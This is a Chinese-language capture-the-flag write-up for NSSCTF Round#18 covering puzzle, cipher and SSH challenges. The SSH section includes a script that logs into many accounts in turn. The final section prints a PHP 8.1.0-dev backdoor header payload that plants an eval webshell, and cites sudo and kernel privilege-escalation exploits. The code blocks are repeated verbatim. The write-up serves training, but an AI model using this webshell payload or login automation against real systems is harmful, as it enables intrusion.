前言
NSSCTF最终排名为37名 参赛队员有:Godyu lemon biu801
本篇文章由Godyu lemon biu801共同参与编写
![图片[1],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240214111630403.png?imageView2/0/format/webp/q/75)
赛状惨烈 重在参与
最后的becomeroot想用CVE2021-3493打,出题人后来单独开了个靶机,没打出来
温馨的酒吧
![图片[2],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240215035457381.png?imageView2/0/format/webp/q/75)
这是一道视频互动题,flag藏在不同的视频结尾
![图片[3],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240215040629292.png?imageView2/0/format/webp/q/75)
flag1:
沉默->好啊->唉,看看题吧->web->放下比赛,安慰对象->flag1
![图片[4],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240215040701132.png?imageView2/0/format/webp/q/75)
flag2
看看菜单->select * from flag->flag2 不过前面是占位符
![图片[5],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240215040822637.png?imageView2/0/format/webp/q/75)
flag3
谢队我要给你决斗->突然不想打了,快跑->flag3
![图片[6],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240215040950833.png?imageView2/0/format/webp/q/75)
拼接起来最终flag是
NSSCTF{新年快乐_不要停下来啊_CTFer}
Number7
![图片[7],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240214122817852.png?imageView2/0/format/webp/q/75)
根据Number7 而且inside NO.7猜测cisco type7加密
使用在线网站或者随波主流都能解开
![图片[8],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240214141617838.png?imageView2/0/format/webp/q/75)
usersssssssss
![图片[9],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240214141724327.png?imageView2/0/format/webp/q/75)
下载完毕后是200个账号
![图片[10],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240214141800706.png?imageView2/0/format/webp/q/75)
密码是md5sum 一行和一行对应
sh脚本
#!/bin/bash# 定义文件路径input="/CVE/wordlist.txt"output="/CVE/4.txt"# 重置输出文件> "$output"# 遍历wordlist.txt中的每一行while IFS= read -r line || [[ -n "$line" ]]; do# 跳过空白行if [[ -z "$line" ]]; thencontinuefi# 计算每行的MD5哈希值md5=$(echo -n "$line" | md5sum | awk '{print $1}')# 将计算出的哈希值追加到4.txt文件中echo "$md5" >> "$output"done < "$input"#!/bin/bash # 定义文件路径 input="/CVE/wordlist.txt" output="/CVE/4.txt" # 重置输出文件 > "$output" # 遍历wordlist.txt中的每一行 while IFS= read -r line || [[ -n "$line" ]]; do # 跳过空白行 if [[ -z "$line" ]]; then continue fi # 计算每行的MD5哈希值 md5=$(echo -n "$line" | md5sum | awk '{print $1}') # 将计算出的哈希值追加到4.txt文件中 echo "$md5" >> "$output" done < "$input"#!/bin/bash # 定义文件路径 input="/CVE/wordlist.txt" output="/CVE/4.txt" # 重置输出文件 > "$output" # 遍历wordlist.txt中的每一行 while IFS= read -r line || [[ -n "$line" ]]; do # 跳过空白行 if [[ -z "$line" ]]; then continue fi # 计算每行的MD5哈希值 md5=$(echo -n "$line" | md5sum | awk '{print $1}') # 将计算出的哈希值追加到4.txt文件中 echo "$md5" >> "$output" done < "$input"
生成完毕后是一一对应的
![图片[11],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240214142644142.png?imageView2/0/format/webp/q/75)
经过测试200个账号密码都是正确的但只有一个用户有flag
其他的没有
![图片[12],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240214141956868.png?imageView2/0/format/webp/q/75)
尝试访问别人的也没权限
解决方法:1.提权全局拿flag 2.写脚本一个一个ls访问 3.手测
第一次打的时候跟队友一起手测 最终在第123个成功测出
![图片[13],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240214142727335.png?imageView2/0/format/webp/q/75)
后来在打后一个加强版的时候借助ai写出了脚本 不过后一个题加强版的也没写出来
全自动化脚本:
import paramiko# 设置主机信息hostname = 'node1.anna.nssctf.cn'port = 28591# 读取用户名和密码列表with open('wordlist.txt', 'r') as user_file:usernames = user_file.read().splitlines()with open('10.txt', 'r') as pass_file:passwords = pass_file.read().splitlines()# 确保用户名和密码列表长度相同assert len(usernames) == len(passwords), "用户名和密码数量不匹配"# 尝试登录并执行命令for username, password in zip(usernames, passwords):try:# 初始化SSH客户端client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 尝试连接client.connect(hostname, port, username, password, timeout=10)# 执行ls命令stdin, stdout, stderr = client.exec_command('ls')output = stdout.read().decode('utf-8')# 检查是否存在flag.txtif 'flag.txt' in output:# 读取flag.txt内容stdin, stdout, stderr = client.exec_command('cat flag.txt')flag_content = stdout.read().decode('utf-8').strip()print(f"找到flag: {flag_content}")breakelse:print(f"在用户 {username} 的目录中没有找到flag.txt")except paramiko.AuthenticationException:print(f"登录失败:用户名 {username} 或密码错误")except Exception as e:print(f"发生错误:{str(e)}")finally:client.close()import paramiko # 设置主机信息 hostname = 'node1.anna.nssctf.cn' port = 28591 # 读取用户名和密码列表 with open('wordlist.txt', 'r') as user_file: usernames = user_file.read().splitlines() with open('10.txt', 'r') as pass_file: passwords = pass_file.read().splitlines() # 确保用户名和密码列表长度相同 assert len(usernames) == len(passwords), "用户名和密码数量不匹配" # 尝试登录并执行命令 for username, password in zip(usernames, passwords): try: # 初始化SSH客户端 client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 尝试连接 client.connect(hostname, port, username, password, timeout=10) # 执行ls命令 stdin, stdout, stderr = client.exec_command('ls') output = stdout.read().decode('utf-8') # 检查是否存在flag.txt if 'flag.txt' in output: # 读取flag.txt内容 stdin, stdout, stderr = client.exec_command('cat flag.txt') flag_content = stdout.read().decode('utf-8').strip() print(f"找到flag: {flag_content}") break else: print(f"在用户 {username} 的目录中没有找到flag.txt") except paramiko.AuthenticationException: print(f"登录失败:用户名 {username} 或密码错误") except Exception as e: print(f"发生错误:{str(e)}") finally: client.close()import paramiko # 设置主机信息 hostname = 'node1.anna.nssctf.cn' port = 28591 # 读取用户名和密码列表 with open('wordlist.txt', 'r') as user_file: usernames = user_file.read().splitlines() with open('10.txt', 'r') as pass_file: passwords = pass_file.read().splitlines() # 确保用户名和密码列表长度相同 assert len(usernames) == len(passwords), "用户名和密码数量不匹配" # 尝试登录并执行命令 for username, password in zip(usernames, passwords): try: # 初始化SSH客户端 client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 尝试连接 client.connect(hostname, port, username, password, timeout=10) # 执行ls命令 stdin, stdout, stderr = client.exec_command('ls') output = stdout.read().decode('utf-8') # 检查是否存在flag.txt if 'flag.txt' in output: # 读取flag.txt内容 stdin, stdout, stderr = client.exec_command('cat flag.txt') flag_content = stdout.read().decode('utf-8').strip() print(f"找到flag: {flag_content}") break else: print(f"在用户 {username} 的目录中没有找到flag.txt") except paramiko.AuthenticationException: print(f"登录失败:用户名 {username} 或密码错误") except Exception as e: print(f"发生错误:{str(e)}") finally: client.close()
运行之后即可拿到flag
过年来下棋
![图片[14],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240215040147941.png?imageView2/0/format/webp/q/75)
XXVAF AVXAX DXFVX DXDVA XAGVXXVAF AVXAX DXFVX DXDVA XAGVXXVAF AVXAX DXFVX DXDVA XAGV
发现题上的字母有ADFGVX组成
去网上搜索发现是棋盘加密
ADFGVX在线解码
发现需要一个密钥
读题有一个lucky
尝试用它当密钥(要把txt的空格去掉)
![图片[15],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240214150103422.png?imageView2/0/format/webp/q/75)
h499yn3wye4r
补充Becomeroot
![图片[16],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240215115555449.png?imageView2/0/format/webp/q/75)
首页可以知道PHP Version 8.1.0-dev
rce命令执行https://cloud.tencent.com/developer/article/1839234
马:
User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1])?>'>/var/www/html/1.php");User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1])?>'>/var/www/html/1.php");User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1])?>'>/var/www/html/1.php");
之前传进马子发现是乌班图20.04LTS第一时间想到内核提权CVE2021-3493
最后发现交互式POC不能用,只有非交互式CVE2021-3156能用
CVE2021-3493提权内核相关文件无法越权挂载,导致提权失败
![图片[17],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240215072517379.png?imageView2/0/format/webp/q/75)
![图片[18],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240215072316740.png?imageView2/0/format/webp/q/75)
复现CVE-2021-3156PULS的可以直接使用
https://github.com/Rvn0xsy/CVE-2021-3156-plus
![图片[19],NSSCTF Round#18 Basic积分赛 WP,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240215072028929.png?imageView2/0/format/webp/q/75)
- 最新
- 最热
只看作者